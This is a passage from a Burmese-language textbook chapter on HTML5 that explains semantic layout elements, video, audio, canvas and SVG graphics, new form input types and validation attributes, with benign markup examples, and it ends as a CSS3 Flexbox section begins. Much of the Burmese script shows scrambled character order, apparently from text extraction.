autofocus ဆုိတာ HTML5 Attribute တစ်ခပုဖေစ်ပါတယ်။ သူကုိြထည့်သွငး်ထားတဲ့အတက်ွြ HTML5 Support
လပုတ်ဲ့  Browser  ိတမွာှ  Document  ကုိြိဖောပ်ပပပးီတာနဲ့  Input  မာှ  Focus  အလိုအိလျှာက်ြ ပဖေစ်ိနိစမာှပဖေစ်ပါ
တယ်။  Support  မလပုခ်ဲ့ရေငလ်ညး်  Focus  လုပမ်ိပးယုံသာရေှိလို့  ကကီြးမားတဲ့သက်ြိရောက်ြမှုမရေှိနိုငပ်ါဘးူ။ ဒလီိုနညး်
လမး်နဲ့  Enhancement  အတက်ွြ ရေညရ်ေယ်ွအသံုးပပုနိုငတ်ဲ့  လပု်ိ ဆာငခ်ျက်ြိတ ွ HTML5  မာှ အများအပပားရေှိိ နပါ
တယ်။

http://caniuse.com/
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13.4 - Semantic Markup
အခန်း  (၃) မာှ  CSS  ိလ့လာခဲ့စဉက်ြ  Layout  ိတတွည်ိ ဆာက်ြဖေို့အတက်ွြ  <div> Element  ကုိြအသံုးပပုခဲ့အကြပါ
တယ်။  CSS  နဲ့ သတမ်တှထ်ားတဲ့အတက်ွြ အပမငအ်ားပဖေင့်အဆင်ိ ပပမယ့်  <div> ဟာ  Generic Element  ပဖေစ်တဲ့
အတက်ွြ အဓပိ္ပါယ်သတမ်တှခ်ျက်ြ မရေှိပါဘးူ။ Layout Structure ကြ အပမင်အတက်ွြအဆင်ိ ပပိနိပမယ့် ကွြနပ်ျူတာ
ကြိတာ ့Process လုပပ်ပးီနားလညန်ိုငမ်ာှမဟတုပ်ါဘးူ။ ဒါကြလညး် HTML4.01 မာှ Layout များတည ်ိဆာက်ြတဲ့
အခါအသံုးပပုရေန ်လို့ ရေညရ်ေယ်ွသတမ်တှထ်ားတဲ့ Element ိတ ွမရေှိလို့သံုးခဲ့အကြရေတာပါ။

HTML5 မာှိတာ့ Layout Structure အတက်ွြ Semantic Element များပါဝငလ်ာပါတယ်။ ပဖေည့်စွက်ြပါဝငလ်ာတဲ့
Semantic Layout Element များ (Sectioning Element များလိုိ့ ခါ်အကြပါတယ်) အသံုးပပုမယ်ဆုိရေင် Browser
အပါအဝင် ကွြနပ်ျူတာစနစ်များကြ Layout ဖေွဲ့စညး်ပုံကုိြပါ နားလညန်ိုငသွ်ားမာှပဖေစ်ပါတယ်။

ပုံ (၁၃-ခ) HTML5 Sectioning Elements

ပုံ (၁၃-ခ) မာှ Three Columns Layout တစ်ခကုိုြ HTML5 Element များနဲ့တည်ိ ဆာက်ြပုံကုိြ ိဖောပ်ပိပးထားပါ
တယ်။ 

<section> - <section> ဟာ  <div> နဲ့အိပခခအံားပဖေင့်တတူယ်လို့  ဆုိနိုငပ်ါတယ်။  Layout  သုိမ့ဟတု်
Column  အပဖေစ်  သတမ်တှလ်ိုတဲ့  Element  များကုိြ  စုစညး်ထားဖေို့အသံုးပပုနိုငပ်ါတယ်။  <div> နဲ့ကွြာသွားတာကြ
<div> ကြ ဘယ်လိုိ နရောမာှမဆုိ သံုးနိုငတ်ဲ့  Generic Element  ပဖေစ်ပပးီ  <section> ကြိတာ့  Layout Group
များအတက်ွြ ရေညရ်ေယ်ွသတမ်တှထ်ားတဲ့ Element ပဖေစ်ပါတယ်။
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<header>  - <header> Element ကုိြ Section တစ်ခရုေဲ့ိခါငး်စးီပိုငး်အိနနဲ့အသံုးပပုရေပါတယ်။  <body> ဟာ
လညး် Section တစ်ခပုဖေစ်လို့ Document တစ်ခလုုံးရေဲ့  ိခါင်းစီးပိုင်းအိနနဲ့လညး် အသံုးပပုနိုငပ်ါတယ်။  ပုံ (၁၃-ခ)
မာှ Document ိခါငး်စီး အတက်ွြ <header> ကုိြအသံုးပပုထားသလို Section တစ်ခရုေဲ့  ိခါငး်စီးပိုငး်အိနနဲလ့ညး်
အသံုးပပုပပထားပါတယ်။ 

<hgroup> - W3C ကြ ိနာက်ြဆံုးအတညပ်ပုလိုက်ြတဲ့ HTML5 မာှ ဒီ  Element ကုိြ ဖေယ်ထတုလ်ိုက်ြပါတယ်။ ဒါ
ိပမယ့်  Browser  အများစုကြ  Support  လုပအ်ကြလို့ သံုးမယ်ဆုိရေင်  သံုးနိုငပ်ါတယ်။ ိခါငး်စဉ်အပဖေစ်အသံုးပပုလိုတဲ့
Element ိတ ွတစ်ခထုက်ြပိုရေှိတဲ့အခါ <hgroup> နဲ့ စုစညး်နိုငပ်ါတယ်။ ဥပမာ - 

<hgroup>
  <img src="logo.png">
  <h1>Section Title</h1>
  <h2>Description or Tag Line</h2>
</hgroup>

<footer> - <footer> Element ကုိြ Section တစ်ခပုခငး်စီရေဲ့  Section Foot အိနနဲ့အသံုးပပုနိုငပ်ါတယ်။  နမူ
နာ ပုံမာှ <header> လိုပ၊ဲ Document Foot အိနနဲ့ိ ရော  Section တစ်ခရုေဲ့  Foot အိနနဲ့ပါအသံုးပပုထားပါတယ်။

<nav> - အပခား  Document  များကုိြချတိဆ်က်ြထားတဲ့  Navigation Link  များကုိြ  <nav> Element  နဲ့စုစညး်
ထည့်သွငး်ထားနိုငပ်ါတယ်။ အထးူသပဖေင့် Website ရေဲ့  Main Navigation ကုိြ ထည့်သွငး်ဖေို့သံုးရေပါတယ်။

<aside> - Section  တစ်ခရုေဲ့အဓကိြ  Content  မဟတုတ်ဲ့  ဆက်ြစပ်  Content  များ စုစညး်ထည့်သွငး်ဖေို့  သံုးရေပါ
တယ်။ <header> နဲ့ <footer> လိုပါပ၊ဲ Document Sidebar အိနနဲ့သံုးနိုငသ်လို့  Section Sidebar အိနနဲ့
လညး် သံုးနိုငပ်ါတယ။် 

<article> - အမျို းအစားတူ  Content  များအုပစု်လိုက်ြ စုစညး်ဖေို့  <article> Element  ကုိြသံုးနိုငပ်ါတယ်။
ဥပမာ - 

<article class="comment">
  <img src="user-one.jpg">
  <h3>User Name</h3>
  <p>Comment Body</p>
</article>

<article class="comment">
  <img src="user-two.jpg">
  <h3>User Name</h3>
  <p> Comment Body </p>
</article>
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ဒီ Semantic Element ိတကုိွြ လက်ြရေှိ အသံုးချမယ်ဆုိရေင်သံုးလို့ရေိနပါပပ။ီ ိဖောပ်ပခဲ့ပပးီ ပဖေစ်တဲ့အတိုငး် Modernizr
အကူြအညနီဲ့  HTML5 Support  မလပုတ်ဲ့  Browser  ိတမွာှလညး်  Semantic Element  များကုိြ  အဆင်ိ ပပိပပ
အသံုးပပု နိုငမ်ာှပဖေစ်ပါတယ်။

13.5 - Multimedia
Multimedia နဲ့  2D Graphic  ဟာ HTML 4.01 ရေဲ့  အဓကိြအားနညး်ချက်ြတစ်ခပုဖေစ်ပါတယ်။  Web Document
ိတထွမဲာှ  Video  နဲ့  2D Graphic  ိတထွည့်သွငး်လိုတဲ့အခါ  Adobe Flash  နဲ့  Microsoft  Silverlight  တို့လို
Plugin  နညး်ပညာ  ိတကုိွြအသံုးပပုရေပါတယ်။  HTML5  မာှိတာ့  Multimedia  အတက်ွြိရော  2D  Graphic
အတက်ွြပါ ပဖေည့်စွက်ြမှု တပွါဝငလ်ာ ပါပပ။ီ

Video ိတကုိွြ Web Document ထမဲာှထည့်သွငး်ဖေိုအ့တက်ွြ <video> Element ကုိြ အသံုးပပုနိုငပ်ါတယ်။ အသံုး
ပပုပုံကြလညး် ရုိးရိုးိလးပါ။ <img> Element နဲ့ Image ိတ ွထည့်သွင်းရေသလိုပါပ။ဲ

<video src="intro.mp4" controls autoplay loop></video>

src Attribute  မာှ  ိဖောပ်ပိစလိုတဲ့  Video  File  Path  ကုိြ  သတမ်တှ်ိ ပးနိုငပ်ါတယ်။  controls Attribute
ထည့်သွငး်ထားရေင်  Play/Pause,  Stop  စတဲ့  Video  Player  Control  ိတကုိွြ  ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။
autoplay Attribute  ထည့်  သွငး်ထားရေင်  Document  Lode  လုပပ်ပးီတာနဲ့  Video  ကြ အလိုအိလျှာက်ြစပပးီ
Play လုပ်ိ ပးသွား မာှပါ။ autoplay အစား preload ကုိြလညး်သံုးနိုငပ်ါတယ။် preload ကြ အလိုအိလျှာက်ြ
မစပါဘးူ။  ဒါိပမယ့်  Video  ကုိြ  ကကိြုတငပ်ပးီ  Download/  Buffer  လုပထ်ားိပးမာှပဖေစ်ပါတယ်။  loop  ကြိတာ့
Repeat ဆုိတဲ့သိဘာပါ။ ထည့်သွငး်ထားရေင် Video ပပးီသွားတဲ့အခါ အစကြိန Replay ပပနလ်ပု်ိ ပးသွားမာှပါ။

Video/Audio ကုိြ Internet Explorer 9 နဲ့အထက်ြအပါအဝင်  Modern Browser အားလုံးကြ Support လုပအ်ကြ
ပါတယ်။ Internet Explorer 8 နဲ့ိ ရေှ့ပိုငး်  Browser  ိတမွာှိတာ့ အလပုလ်ပုမ်ာှမဟတုပ်ါဘးူ။ ဒပီပဿနာကုိြ ိပဖေ
ရေငှး်ဖေို့  အတက်ွြ Video Player jQuery Plugin  ိတ ွအများကကီြးရေှိပါတယ်။ ဒီ  Plugin  ိတကွြ HTML5 Video
Support  ကုိြ စစ်ိဆးပပးီ  Support  မလပုတ်ဲ့  Browser  ိတမွာှ  Flash  ကုိြ  Fallback  အိနနဲ့ အစားထိုးအသံုးပပု
သွားိအာင ်စီမထံားအကြ ပါတယ်။

Video  အတက်ွြ  တစ်ကြယ့်ပပဿနာကြ  <video> Element  မဟတုပ်ါဘးူ။  Encoding  ပဖေစ်ပါတယ်။  Audio/
Video Encoding ိတကွြ အမျို းမျို းပဖေစ်ိနပါတယ်။ Video မာှဆုိရေင် MPEG 4, Ogg, Flash, WebM, AVI စ
သပဖေင့်  Format  အမျို းမျို းရေှိပါတယ်။  Format  အမျို းမျို းနဲ့  Encode  လုပထ်ားတဲ့  Video  ိတကုိွြ  Play  နိုငတ်ဲ့
Codecs ိတကွြလညး် H.264, Theora, VP8 စသပဖေင့် အမျို းမျို းကဲွြပပားပါိသးတယ်။ Browser ိတကွြ Support
လပုတ်ဲ့ Codecs ိတ ွမတအူကြပါဘးူ။ ဒလီိုမတူိ သးတဲ့အတက်ွြ <video> Element တစ်ခထုည့်သွငး်တိုင်းမာှ အခု
လို Format အမျို းမျို း ထည့်သွငး်ိပးရေိလ ့ရေှိပါတယ်။ 
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<video controls> 
  <source src="intro.mp4"> 
  <source src="intro.ogv"> 
  <source src="intro.webm"> 
</video>

ဒီိ တာမ့ာှ  Browser  ိတကွြ Support  မလပုတ်ဲ့  Format  ိတကုိွြ  Ignore  လုပပ်ပးီ  Support  လုပတ်ဲ့  Format  ကုိြ
ိရေးွချယ် အသံုးပပုသွားအကြမာှ ပဖေစ်ပါတယ်။

Audio  အတက်ွြ  <audio> Element  ကုိြအသံုးပပုနိုငပ်ပီး  ထည့်သွငး်အသံုးပပုပုံကြ  <video> နဲ့အတတူပူါပ။ဲ
<video> <audio> တို့အတက်ွြ  JavaScript  API  များလညး်ပါဝငလ်ို့  JavaScript  နဲ့  လိုအပသ်လိုစီမနံိုငပ်ါ
တယ်။ ဥပမာ - 

<audio id="p" src="audio.mp3"></audio> 

<div id="player-controls"> 
  <button onclick="document.getElementById('p').play()">Play</button> 
  <button onclick="document.getElementById('p').pause()">Pause</button> 
  <button onclick="document.getElementById('p').volume+=0.1">V+</button> 
  <button onclick="document.getElementById('p').volume-=0.1">V-</button> 
</div>

<audio> Element အတက်ွြ Playback Control ိတကုိွြ controls Attribute မသံုးပဲ JavaScript နဲ့ ကုိြယ်တိုင်
ဖေနတ်းီထည့်သွငး်ထားပခငး်ပဖေစ်ပါတယ်။ ကုိြယ်တိုငထ်ည့်သွင်းထားတဲ့ Element ိတပွဖေစ်လို့ CSS နဲ့ လုိသလို Style
လပုထ်ားနိုငတ်ဲ့ Playback Controls ကုိြ ရေရေှိိ စမာှပါ။

13.6 - Graphic and Animation
2D Drawing  နဲ့  Animation  လပု်ိ ဆာငခ်ျက်ြများအတက်ွြ  <canvas> Element  ပါဝငလ်ာပါတယ်။  Graphic
များ ိရေးဆဲွပခငး်နဲ ့Animation များဖေနတ်းီပခငး်ကုိြ JavaScript နဲ့ိ ရေးသားနိုငမ်ာှ ပဖေစ်ပါတယ်။ 

<canvas id="draw" width="300" height="225"></canvas> 
<script>
var context = document.getElementById('draw').getContext('2d');
if (context) { 
  context.fillRect(0, 0, 150, 100); 
  context.fillStyle = '#00f'; 
  context.strokeStyle = '#f00'; 
  context.lineWidth = 4; 
  context.fillRect(0, 0, 150, 50); 
  context.strokeRect(0, 60, 150, 50); 
  context.clearRect(30, 25, 90, 60); 
  context.strokeRect(30, 25, 90, 60); 
}
</script>
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Graphic Container Element တစ်ခပုဖေစ်တဲ့ <canvas> Element သတမ်တှထ်ားပပးီ ိရေးဆွဲလိုတဲ့ Graphic များ
ကုိြ JavaScript နဲ့ိ ရေးဆဲွဖေနတ်းီထားပါတယ်။ ိပးထားတဲ့နမနူာအတက်ွြ ရေလဒက်ြအခလုို ပဖေစ်မာှပါ။

2D Graphic  နဲ့  Animation  ဟာ ကြျွန်ိ တာစ်ာိရေးသူကုိြယ်တိုင် မကြျွမး်ကြျငတ်ဲ့ဘာသာရေပမ်ို့  အိသးစိတမ်ိဖောပ်ပ
နိုင်  ပါဘးူ။   HTML5  မာှ  ဒလီိုလပု်ိ ဆာငခ်ျက်ြပါဝငတ်ယ်ဆိတုာိလာက်ြကုိြသာ  မတိဆ်က်ြိဖောပ်ပိပးပခငး်ပဖေစ်ပါ
တယ်။

ိနာက်ြထပ်  HTML5  Graphic  နညး်ပညာကြိတာ့  SVG  ပဖေစ်ပါတယ်။  Scalable  Vector  Graphic  ကုိြ
အတိုိ ကြာက်ြ ိခါ်တာပါ။  SVG ကြိတာ့  XML Element များနဲ့  Graphic ိတ၊ွ  Animation ိတ ွဖေနတ်းီနိုငတ်ဲ့
နညး် ပညာတစ်ခပုဖေစ် ပါတယ်။

<svg version="1.1" width="320" height="320" xmlns="http://www.w3.org/2000/svg"> 
  <defs> 
    <radialGradient id="circleGrad"> 
      <stop offset="0%" stop-color="rgb(255, 255, 0)" /> 
      <stop offset="100%" stop-color="rgb(  0, 255, 0)" /> 
    </radialGradient> 
  </defs> 

  <ellipse fill="url(#circleGrad)" stroke="#000" cx="50%" 
     cy="50%" rx="50%" ry="50%"> 
    <animate attributeName="rx" values="0%;50%;0%" dur="2s" 
       repeatCount="indefinite" /> 
    <animate attributeName="ry" values="0%;50%;0%" dur="2s" 
       repeatCount="indefinite" /> 
  </ellipse> 
</svg>

နမနူာိပးထားတဲ့ XML ကုိြ .svg Extension နဲ့ ကူြးယူသိမး်ဆည်းပပးီ  Image Viewer သုိမ့ဟတု်  Browser  နဲ့
ဖေငွ့်အကြည့်မယ်ဆုိရေင်  အစိမ်းိရောင်  ိရောင်ိ ပပး  ချယ်ထားတဲ့  စက်ြဝိုငး်တစ်ခကုြ  ကကီြးလာလိုက်ြ၊  ိသးသွားလိုက်ြနဲ့
Animate ပဖေစ်ိနတဲ့ Graphic တစ်ခကုိုြ ရေရေှိမာှပဖေစ်ပါတယ်။ ကူြးယူစမး်သပအ်ကြည့်နိုငပ်ါတယ်။

ဒီိ နရောမာှလညး်  Canvas  လုိပ၊ဲ  နညး်ပညာရေှိိ နိအကြာငး်ကုိြသာ မတိဆ်က်ြိဖောပ်ပပခငး်ပဖေစ်ပါတယ်။ လက်ြိတွ့အသုံး
ပပုနိုငဖ်ေို့ အတက်ွြ Web Development သာမကြ 2D Graphic အိအကြာငး်ကုိြပါ နားလညဖ်ေို့ လိုအပမ်ာှပဖေစ်ပါတယ်။
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SVG  နဲ့  Canvas  နစ်ှမျို းလုံးဟာ  2D Graphic  နဲ့  Animation  များဖေနတ်းီနိုငတ်ဲ့နညး်ပညာများပဖေစ်အကြလို့ ဘယ်
နညး်ပညာ ကုိြ ဦးစားိပးအသံုးပပုသင့်လဆုိဲတဲ့ ိမးခနွ်းများလညး်ရေှိိ နပါတယ်။ ကွြာပခားချက်ြကြိတာ၊့ Canvas မာှ
Graphic များကုိြ Code ိရေးသားပပီး (Imperative ပုံစံ) ဖေနတ်းီရေပခငး်ပဖေစ်ပါတယ်။ SVG မာှိတာ့ XML Element
များနဲ့ (Declarative ပုံစံ) ဖေနတ်းီရေပခငး် ပဖေစ်ပါတယ်။ SVG File တစ်ခဟုာ Element များစုစညး်ထားပခငး် ပဖေစ်တဲ့
အတက်ွြ DOM API ကုိြ သံုးပပီးိတာ၊့ ဆငပ်ာွးလပု်ိ ဆာငခ်ျက်ြများကုိြ ိရေးသားသတမ်တှန်ိုငပ်ါိသးတယ်။ ပပးီိတာ့
Vector  ပဖေစ်တဲ့အတက်ွြ  Graphic  ရေဲ့  Quality  ကုိြထခိိုက်ြပခငး် မရေှိိ စပဲ  လိုသလို ပခုံလို့ချဲ့လို့ရေပါတယ်။   Canvas
ကြိတာ့  Pixel  Bitmap  ပဖေစ်ိန တဲ့အတက်ွြ  ဒလီိုရေမာှမဟတုပ်ါဘးူ။  ဒါိအကြာင့်  ကိြစ္စအိတာမ်ျားများမာှ  SVG
အသံုးပပုသင့်ပပးီ အိသးစတိ်  Program လပုထ်ားဖေိုလ့ိုပပးီ၊  Performance အိရေးကကီြးတဲ့ိ နရောိတမွာှ  Canvas ကုိြ
အသံုးပပုသင့်ပါတယ်။

13.7 - Forms
အခန်း (၂) မာှ HTML ိလ့လာခဲ့စဉက်ြ Form Element ိတကုိွြ တွဲဖေက်ြိလလ့ာခဲ့ပါတယ။် အဲဒ့ထီကဲြ Text Box,
Button, Radio, Checkbox စတဲ့ Element ိတထွည့်သွငး်ဖေို့ <input> Element ကုိြသံုးပပးီ type Attribute မာှ
ဆုိငရ်ော  Input  Type  တနဖ်ေိုးိတ ွ ိပပာငး်လဲိ ပးခဲ့ရေပါတယ်။  HTML5  မာှိတာ့  type  Attribute  အတက်ွြ
ိနာက်ြထပ ်Input Type (၁၃) မျို းပဖေည့်စွက်ြပါဝငလ်ာပါတယ်။ အဲဒ့ါိတကွြိတာ ့-

search, tel, url, email, datetime, date, month, week, time, datetime-
local, number, range, color

- တို့ပပဲဖေစ်ပါတယ်။ 

ဒီ Input Type ိတထွကဲြအများစုဟာ အိပခခအံားပဖေင့် Text Input နဲ့ိ ဖောပ်ပပုံ၊ အလပုလ်ပုပ်ုံသိပမ်ကွြာလပှါဘးူ။ ဒါ
ိပမယ့်  Semantic  ပိုပပးီပဖေစ်လာတယ်လို့ပဲ ဆုိရေပါမယ်။  Touch Screen Mobile Devices  ိတမွာှဆုိရေင် အထးူ
သိသာ ပါတယ်။  <input type="email"> ဆုိတဲ့  Element  ကုိြိတွ့တဲ့အခါ  Touch Screen Device  ကြ
အသံုးပပုသူ အဆင်ိ ပပိစဖေို့အတက်ွြ On-Screen Keyboard မာှ  Email  လိပစ်ာအတက်ွြ (မလိုအပတ်ဲ့  Space Bar
အစား) @ Sign နဲ့  .com တို့ကုိြ ိဖောပ်ပိပးနိုင်ိ စမာှပါ။

အလားတပူဲ <input type="url"> Element ကုိြိတွ့ရေင် URL ိတမွာှထည့်သွင်းရေိလရ့ေှိတဲ့ / နဲ့  .com တို့
ကုိြ  On-Screen Keyboard  မာှ ထည့်သွငး်ိဖောပ်ပိစနိုငပ်ါတယ်။  <input type="search"> ဆုိရေငလ်ညး်
Keywords  အမျို းမျို းိပပာငး်ပပီး  ရောှိဖေလွိုသူများ  အဆင်ိ ပပိအာင်  Keywords  ိတ ွ Clear  လပုပ်ပးီ  ိနာက်ြထပ်
Search Keyword  ိတ ွအသင့်ထည့်သွငး်ိစနိုငမ်ယ့် လပု်ိ ဆာငခ်ျက်ြမျို းကုိြ ိဆာငရ်ေက်ွြိပးနိုင်ိ စမာှပဖေစ်ပါတယ်။
Browser  နဲ့ ကွြနပ်ျူတာစနစ်ိတကွြ Input  ိတရွေဲ့အမျို းအစားကုိြ တိတကိြျကြျနားလညလ်ာတဲ့အတက်ွြ ဒလီိုစီမံိ ပး
နိုငလ်ာပခငး်ပဖေစ် ပါတယ်။
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ပုံ (၁၃-ဂ) Google Chrome 21 Linux - HTML5 From Support

HTML5 Form Input Type (၁၃) မျို းကုိြ Google Chrome 21 မာှစမး်သပအ်ကြည့်တဲ့အခါ ရေရေှိလာတဲ့ရေလဒကုိ်ြ ပုံ
(၁၃-ဂ) မာှ ိဖောပ်ပထားပါတယ်။ Search Input အတက်ွြ Keyword ရေငှး်ပပစ်ဖေို့ Clear Button ထည့်ိ ပးထားတာကုိြ
ိတွ့ရေ  နိုငပ်ါတယ်။   Date  Input  အတက်ွြ  ရေက်ြစဲွိရေးွလို့ရေတဲ့  Calendar  ပါဝငလ်ာပါတယ်။  Number  အတက်ွြ
Up/Down Spinner Button ထည့်သွငး်ိပးထားပပးီ Range Input အတက်ွြလညး် Slider တစ်ခုိ ပးထားပါတယ်။
Color Input အတက်ွြ Button ကုိြနှိပပ်ပီး အိရောင်ိ ရေးွယူနိုငတ်ဲ့ Function ထည့်သွငး်ိပးထားပါတယ်။ ကြျန် Input
ိတအွတက်ွြိတာ့  User Interface အိနနဲ့ အထးူပပု ိဆာငရ်ေက်ွြချက်ြိတ ွမပါဝငပ်ဲ ရုိးရုိး  Text Input အိနနဲ့သာ
ိဖောပ်ပထားပါတယ်။

HTML5 မာှ Input Type ိတအွပပင် Attribute အသစ်ိတနွဲ့လညး် ပဖေည့်စွက်ြိပးထားပါတယ်။  Range Input နဲ့
Number Input တို့အတက်ွြ အနမိ့်ဆံုးတနဖ်ေိုး၊ အပမင့်ဆံုးတနဖ်ေိုးနဲ့ ိရေးွချယ်နိုငတ်ဲ့အကြားတနဖ်ေိုးိတ ွကုိြ min, max,
step Attribute ိတနွဲ့သတမ်တှန်ိုငပ်ါတယ်။ ဥပမာ  - 

<input type="range" min="0" max="100" step="10">

ပပးီိတာ့  အထက်ြမာှိဖောပ်ပခဲ့သလို  autofocus Attribute  သတမ်တှထ်ားမယ့်ဆုိရေင်  သတမ်တှထ်ားတဲ့  Input
Element  ကုိြ  Document  Load  လုပပ်ပးီတာနဲ့   Focus  လုပ်ိ ပးထားမာှပဖေစ်ပါတယ်။  ိနာက်ြထပ်  အသံုးဝငတ်ဲ့
Attribute  ကြိတာ့  placeholder ပဖေစ်ပါတယ်။  placeholder Attribute  နဲ့  Input  Box  အတငွး်မာှ
Internal  Label  အိနနဲ့  ိဖောပ်ပိစချငတ်ဲ့   Label  ကုိြသတမ်တှထ်ားနိုငပ်ါတယ်။  Value  ထည့်သွငး်လိုက်ြတာနဲ့
Internal Label ကြ ိပျာက်ြ သွားမာှပဖေစ်ပပးီ၊ Value ကြ Blank ပဖေစ်သွားရေင ်Label ကုိြ ပပနလ်ည ်ိဖောပ်ပိပးမာှပဖေစ်ပါ
တယ်။ ိရေးသားပုံကြ ဒလီိုပါ - 
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<input type="email" placeholder="Please enter your email">

list Attribute  ကြလညး်  အသံုးဝငပ်ါတယ်။  Element  အသစ်ပဖေစ်တဲ့  <datalist> နဲ့  တဲွဖေက်ြအသံုးပပုရေပါ
တယ်။ ဥပမာ - 

<input type="text" list="js-fw"> 
<datalist id="js-fw"> 
  <option value="jQuery"> 
  <option value="jQuery UI"> 
  <option value="jQuery Mobile"> 
  <option value="Dojo Toolkit"> 
  <option value="MooTools"> 
  <option value="YUI"> 
</datalist>

Data List အတငွး်မာှ <option> Element များသံုးပပးီ တနဖ်ေိုးိတစုွစညး်ထားပါတယ်။ ပပးီိတာမ့ှ  Text Input
ရေဲ့  list Attribute  မာှ  <datalist> id  ကုိြ ချတိဆ်က်ြိပးထားပါတယ်။ ရေလဒက်ြိတာ့  ပုံ  (၁၃-ဃ) မာှိဖောပ်ပ
ထားတဲ့ ရေလဒမ်ျို း ရေရေှိမာှပဖေစ်ပါတယ်။ 

ပုံ (၁၃-ဃ) HTML5 Data List

Text Input  မာှ  j လ့ုိရုိက်ြလိုက်ြတာနဲ့  Data List  အတငွး်ထကဲြ  j နဲ့စတဲ့အချက်ြအလက်ြိတကုိွြ အသင့်ိ ရေးွယူနိုင်
ိအာင ်ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။

HTML5 ကြ Input ိတအွတက်ွြ Validation လုပ်ိ ဆာငခ်ျက်ြများလညး် ပါဝငလ်ာပါတယ်။ Input Element  မာှ
required Attribute သတမ်တှထ်ားရေင၊် Input ကုိြမပဖေည့်စွက်ြပဲ Submit လုပခ်ငွ့်ပပုမာှ မဟတုပ်ါဘးူ။ 
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ပုံ (၁၃-င) Input Validateion

ပုံ  (၁၃-င) မာှအကြည့်ပါ။  <input type="tel" required> လို့  required Attribute သတမ်တှလ်ိုက်ြတဲ့
အတက်ွြ Form Submit လုပလ်ိုက်ြတဲ့အခါ အ့ဲဒီ Input ကုိြပဖေည့်စွက်ြဖေိုိ့ ပပာလာပါတယ်။

<input type="email"> အတက်ွြ ထည့်သွငး်ထားတဲ့တနဖ်ေိုးကြ  Email Format  မမနှတ်ဲ့အတက်ွြ မနှ်ိ အာင်
ပဖေည့် ဖေို့လညး်ိပပာလာပါတယ်။

<input type="number"  max="100"> လ့ုိ  သတမ်တှထ်ားတဲ့အတက်ွြ  တနဖ်ေိုးကုိြ  100 ထက်ြိကြျာပ်ပးီ
လက်ြမခ ံိအကြာငး်လညး်ိပပာလာကုိြ ိတွ့ရေပါလမိ့်မယ။် 

မတ်ှချကြ။်  ။ အိအကြာငး်အမျိုးမျိုးိအကြာင့်  ဒလုိီ  Validate  လုပ်ိ ပးတာကြို  မလုိချငဘ်းူဆုိရေင်  <form> Element  မာှ
novalidate Attribute  ထည့်သငွး်သတ်မတ်ှထားနိုငပ်ါတယ။် ဒလုိီသတမ်တ်ှထားရေင်  Browser  ကြ  Validate  လုပ်ိ ပးမာှ
မဟတ်ုိတာပ့ါဘးူ။

HTML5  မတိုငခ်ငက်ြ  Validation  လပု်ိ ဆာငခ်ျက်ြိတ၊ွ  Auto  Focus  လပု်ိ ဆာငခ်ျက်ြိတ၊ွ  Internal  Label
(Placeholder) လုပ်ိ ဆာငခ်ျက်ြိတနွဲ့  Auto-completion (Data List)  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ Developer ိတွ
ကုိြယ်တိုင် JavaScript များနဲ့ ိရေးသားဖေနတ်းီအကြရေပါတယ်။ App တိုငး်မာှ လိုအပတ်က်ြလို့ ခဏခဏလညး်ိရေးရေ ပါ
တယ်။  HTML5  မာှိတာ့  ဒလီိုအပမဲ  လိုအပတ်က်ြတဲ့  အိပခခလံပု်ိ ဆာငခ်ျက်ြိတကုိွြ  ကုိြယ်တိုငလ်ပုဖ်ေိုမ့လိို တာပ့ဲ
သင့်ိ တာတ်ဲ့ Element နဲ့ Attribute ိတ ွသတမ်တှ ်ထားယံုနဲ့ Browser ကြ ိဆာငရ်ေက်ွြိပးသွားမာှပါ။
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13.8 - CSS3
CSS3  ဟာ သီးပခားနညး်ပညာတစ်ခပုဖေစ်ိပမယ့်  HTML5  ရေဲ့ဆက်ြစပန်ညး်ပညာအပဖေစ်  သတမ်တှအ်ကြပါတယ်။ သူ
လညး်ပဲ ိဖောပ်ပခဲ့တဲ့ Form Input များလိုပါပ။ဲ ရုိးရိုး CSS 2.1 ကြ မိပးနိုငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြများကုိြ Developer
ိတကုိွြယ်တိုင်  Image  ိတ ွ သံုးပပးီိတာပ့ဖေစ်ပဖေစ်၊  JavaScript  ိတနွဲ့ိ ရေးသားပပးီပဖေစ်ပဖေစ်  ိဆာငရ်ေက်ွြခဲ့ရေတဲ့၊  အပမဲ
လိုအပ်ိ လရ့ေှိတဲ့  Style  အိတာမ်ျားများကုိြ ပဖေည့်စွက်ြိပးထားပါတယ်။ လက်ြိတွ့အသံုးဝငမ်ယ့်  Feature  အချို ့ကုိြ
ိဖောပ်ပိပးပါမယ်။

Flex Box
CSS3 လပု်ိ ဆာငခ်ျက်ြိတထွမဲာှ စိတဝ်ငစ်ားစရော အိကြာငး်ဆံုးကြိတာ့  Flexbox  ပဖေစ်ပါတယ်။  CSS3 မတိုငခ်င်
ကြ Layout ိတတွည်ိ ဆာက်ြဖေိုအ့တက်ွြ HTML <div> Element ိတနွဲ့ CSS float Property ကုိြ အသံုးပပုခဲ့
အကြရေပါတယ်။ အခနး် (၃) မာှလညး် နမနူာနဲ့တစ်ကွြ ိလလ့ာခဲ့အကြပပးီ ပဖေစ်ပါတယ်။ လက်ြိတွ့မာှ <div> Element နဲ့
float Property တို့ဟာ Layout ိတ ွတည်ိ ဆာက်ြဖေို့ ရေညရ်ေယ်ွထည့်သွငး်ိပးထားပခငး် မဟတုပ်ါဘးူ။ ဒါိပမယ့်
Layout  အတက်ွြ သီးပခားရေညရ်ေယ်ွထည့်သွငး် ိပးထားတဲ့  Element  နဲ့  Property  ိတ ွမရေှိတဲ့အတက်ွြ ရေှိတာနဲ့ ပဖေစ်
ိအာင်  လပုခ်ဲ့အကြပခငး်  ပဖေစ်ပါတယ်။ အခု  HTML5  မာှိတာ့  Semantic Layout Element  ိတ ွပါဝငလ်ာသလို့
Flexbox  လို့  Layout  အတက်ွြ သီးပခားရေညရ်ေယ်ွ ထည့်သွငး်ိပးထားတဲ့ လပု်ိ ဆာငခ်ျက်ြိတ ွပါဝငလ်ာခဲ့ပပီ  ပဖေစ်ပါ
တယ်။

Flexbox နဲ့ပတသ်က်ြရေင် ပထမဆံုးသတပိပုရေမာှကြ၊ Flexbox Layout မာှ Flex Container နဲ့ Flex Items ဆုိပပီး
ဆက်ြစပ် ပါဝငရ်ေမာှပဖေစ်ပါတယ်။ ပုံ (၁၃-စ) မာှိလလ့ာအကြည့်ပါ။
 

ပုံ (၁၃-စ) Flex Container and Flex Items
